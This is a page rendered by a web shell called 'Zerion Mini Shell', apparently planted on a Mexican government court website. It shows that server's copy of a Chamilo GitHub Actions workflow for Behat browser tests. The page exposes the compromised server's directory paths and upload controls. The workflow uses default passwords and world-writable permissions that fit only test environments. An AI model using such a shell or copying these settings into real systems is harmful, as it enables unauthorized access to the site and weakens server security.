%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /home/tjamichg/cursos.tjamich.gob.mx/.github/workflows/
Upload File :
Create Path :
Current File : /home/tjamichg/cursos.tjamich.gob.mx/.github/workflows/php.yml

name: Behat tests 1.11.x 🐞

on: [push, pull_request]

permissions:
    contents: read

jobs:
    build:
        name: PHP ${{ matrix.php-versions }} Test on ${{ matrix.operating-system }}
        runs-on: ubuntu-24.04

        strategy:
            fail-fast: false
            matrix:
                operating-system: [ubuntu-latest]
                php-versions: ['7.4']

        services:
          mysql:
            image: mysql:latest
            env:
              MYSQL_ALLOW_EMPTY_PASSWORD: false
              MYSQL_ROOT_PASSWORD: root
              MYSQL_DATABASE: chamilo
            ports:
              - 3306/tcp
            options: >-
              --health-cmd="mysqladmin ping"
              --health-interval=10s
              --health-timeout=5s
              --health-retries=3
        steps:
            - name: Checkout
              uses: actions/checkout@v3

            - name: Setup apache
              run: |
                sudo apt-get install software-properties-common
                sudo add-apt-repository ppa:ondrej/php
                sudo apt-get update
                sudo apt-get install apache2 php${{ matrix.php-versions }} php${{ matrix.php-versions }}-common php${{ matrix.php-versions }}-cli libapache2-mod-php${{ matrix.php-versions }}
                sudo a2enmod rewrite actions
                sudo cp -f tests/travis/gh-apache /etc/apache2/sites-available/000-default.conf
                sudo chmod 777 -R $HOME
                cat /etc/apache2/sites-available/000-default.conf
                sudo systemctl restart apache2

            - name: Setup PHP, with composer and extensions
              uses: shivammathur/setup-php@v2
              with:
                  php-version: ${{ matrix.php-versions }}
                  extensions: mbstring, xml, ctype, iconv, intl, pdo, pdo_mysql, mysqli, dom, gd, json, soap, zip, bcmath
                  ini-values: post_max_size=256M, max_execution_time=600, memory_limit=4096M
                  tools: composer:v2

            - name: Get composer cache directory
              id: composer-cache-v1
              run: echo "dir=$(composer config cache-files-dir)" >> $GITHUB_OUTPUT

            - name: Cache composer dependencies
              uses: actions/cache@v3
              with:
                  path: ${{ steps.composer-cache-v1.outputs.dir }}
                  # Use composer.json for key, if composer.lock is not committed.
                  # key: ${{ runner.os }}-composer-${{ hashFiles('**/composer.json') }}
                  key: v1-${{ runner.os }}-composer-${{ hashFiles('**/composer.lock') }}
                  restore-keys: v1-${{ runner.os }}-composer-

            - name: Install dependencies with composer
              run: php7.4 /usr/local/bin/composer install --prefer-dist --no-progress

#            - name: Install assets
#              run: php bin/console assets:install
#
#            - name: Generate fos_js_routes.json
#              run: php bin/console fos:js-routing:dump --format=json --target=public/js/fos_js_routes.json

#            - name: Get yarn cache directory
#              id: yarn-cache
#              run: echo "dir=$(yarn cache dir)" >> $GITHUB_OUTPUT
#
#            - name: Cache yarn dependencies
#              uses: actions/cache@v2
#              with:
#                  path: ${{ steps.yarn-cache.outputs.dir }}
#                  # Use composer.json for key, if composer.lock is not committed.
#                  # key: ${{ runner.os }}-composer-${{ hashFiles('**/composer.json') }}
#                  key: ${{ runner.os }}-yarn-${{ hashFiles('**/yarn.lock') }}
#                  restore-keys: ${{ runner.os }}-yarn-
#
#            - name: Yarn install
#              uses: borales/actions-yarn@v2.3.0
#              with:
#                  cmd: install # will run `yarn install` command
#
#            - name: Yarn run encore dev
#              uses: borales/actions-yarn@v2.3.0
#              with:
#                  cmd: run encore dev

            - name: Install chrome
              uses: browser-actions/setup-chrome@v1
              id: setup-chrome

            - name: Start chrome
              run: |
                ${{ steps.setup-chrome.outputs.chrome-path }} --version
                ${{ steps.setup-chrome.outputs.chrome-path }} --headless --disable-gpu --remote-debugging-port=9222 http://localhost &

            # https://github.com/marketplace/actions/setup-chromedriver
            - name: Start chromedriver
              uses: nanasess/setup-chromedriver@master
              with:
                  # Optional: do not specify to match Chrome's version
                  chromedriver-version: '100.0.4896.60'

            - run: |
                export DISPLAY=:99
                chromedriver --url-base=/wd/hub &
                sudo Xvfb -ac :99 -screen 0 1280x1024x24 > /dev/null 2>&1 & # optional

#                wget https://chromedriver.storage.googleapis.com/88.0.4324.96/chromedriver_linux64.zip --quiet && unzip chromedriver_linux64.zip
#                sudo mv chromedriver /usr/bin
#                sudo chmod +x /usr/bin/chromedriver
#                chromedriver --version

#            - run: |
#                export DISPLAY=:99
#                chromedriver --url-base=/wd/hub &
#                sudo Xvfb -ac :99 -screen 0 1280x1024x24 > /dev/null 2>&1 & # optional
#                chromedriver --version

            - name: Set up JDK 1.8
              uses: actions/setup-java@v1
              with:
                  java-version: 1.8

            - name: Get Selenium
              run: |
                wget http://selenium-release.storage.googleapis.com/3.141/selenium-server-standalone-3.141.59.jar --quiet

            - name: Run Selenium
              run: |
                java -version
                export DISPLAY=:99.0
                sudo xvfb -ac :99 -screen 0 1280x1024x24 > /dev/null 2>&1 &
                java -Dwebdriver.chrome.driver=/usr/bin/chromedriver -jar selenium-server-standalone-3.141.59.jar  -log selenium.log > /dev/null &

            - name: Start mysql service
              run: |
                sudo /etc/init.d/mysql start
                sudo systemctl restart apache2
#
#            - name: Install database
#              run: |
#                  bin/console doctrine:database:create || echo "Error while creating the DB"
#              env:
#                  DATABASE_URL: mysql://root:root@127.0.0.1:${{ job.services.mysql.ports['3306'] }}/chamilo
#                  DATABASE_HOST: 127.0.0.1
#                  DATABASE_PORT: ${{ job.services.mysql.ports['3306'] }}
#                  DATABASE_NAME: chamilo
#                  DATABASE_USER: root
#                  DATABASE_PASSWORD: root
#                  APP_INSTALLED: 1

            - name: Check settings
              run: |
                  php -ini
                  php -v
                  php -m

            - name: Install chash
              run: |
                  git clone https://github.com/chamilo/chash
                  cd chash
                  git checkout 0.2.x
                  php7.4 /usr/local/bin/composer install
                  php7.4 -d phar.readonly=0 createPhar.php
                  chmod +x chash.phar
                  sudo mv chash.phar /usr/local/bin/chash

            - name: Install chamilo
              run: |
                  php7.4 ${{ github.workspace }}/chash/chash.php chash:chamilo_install 1.11.x ${{ github.workspace }} --no-interaction --sitename="Chamilo" --site_url="http://localhost/" --institution="Chamilo" --institution_url="https://chamilo.org" --encrypt_method="sha1" --firstname="John" --lastname="Doe" --language="english" --driver="pdo_mysql" --host="localhost" --port="3306" --dbname="chamilo" --dbuser="root" --dbpassword="root" --permissions_for_new_directories="0777" --permissions_for_new_files="0666" --linux-user="www-data" --linux-group="www-data" --username="admin" --password="admin" --email="admin@example.com" --phone="555-5555"
                  php7.4 ${{ github.workspace }}/chash/chash.php chash:chamilo_status
                  sudo chmod -R 777 app/cache app/logs app/courses app/upload web
                  bash tests/travis/post_installation.sh
                  sudo cp -f tests/travis/gh-apache /etc/apache2/sites-available/000-default.conf
                  sudo systemctl restart apache2
                  curl http://localhost/index.php

            - name: Behat tests
              run: |
                  cd ${{ github.workspace }}/tests/behat
                  ../../vendor/behat/behat/bin/behat -vvv

Zerion Mini Shell 1.0